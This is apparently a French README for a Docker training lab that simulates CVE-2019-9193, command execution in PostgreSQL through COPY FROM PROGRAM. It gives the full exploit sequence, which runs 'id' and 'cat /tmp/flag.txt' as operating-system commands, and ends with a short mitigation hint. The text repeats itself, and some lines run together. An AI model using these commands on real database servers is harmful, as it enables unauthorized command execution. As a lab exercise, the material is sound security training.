
Ce laboratoire simule la CVE-2019-9193 - RCE PostgreSQL COPY FROM PROGRAM
Ce lab simule la vulnérabilité CVE-2019-9193 présente dans PostgreSQL 9.3 - 11.2, qui permet à un utilisateur superuser ou disposant du rôle pg_execute_server_program d'utiliser la commande :
COPY ... FROM PROGRAM '<command>'
pour exécuter directement des commandes OS, entraînant une exécution de commandes à distance (RCE) si un attaquant peut accéder à la base de données.
Ce lab vous permet d'utiliser cette capacité pour lire le fichier :
/tmp/flag.txt
COPY FROM PROGRAM pour exécuter des commandes OS/tmp/flag.txtdocker compose build
docker compose up -d
Ensuite, connectez-vous à la base de données :
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
idCOPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
Exemple de sortie :
flag{SECRET}
postgres avec une application de productionpg_execute_server_programCe lab simule CVE-2019-9193, une vulnérabilité de PostgreSQL 9.3–11.2 permettant :
COPY ... FROM PROGRAM '<command>'
d'exécuter des commandes OS lorsqu'elle est utilisée par un superuser ou un rôle disposant de pg_execute_server_program.
Votre tâche consiste à exploiter cette fonctionnalité pour lire :
/tmp/flag.txt
COPY FROM PROGRAM pour :
docker compose build
docker compose up -d
Connectez-vous via :
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program inutilement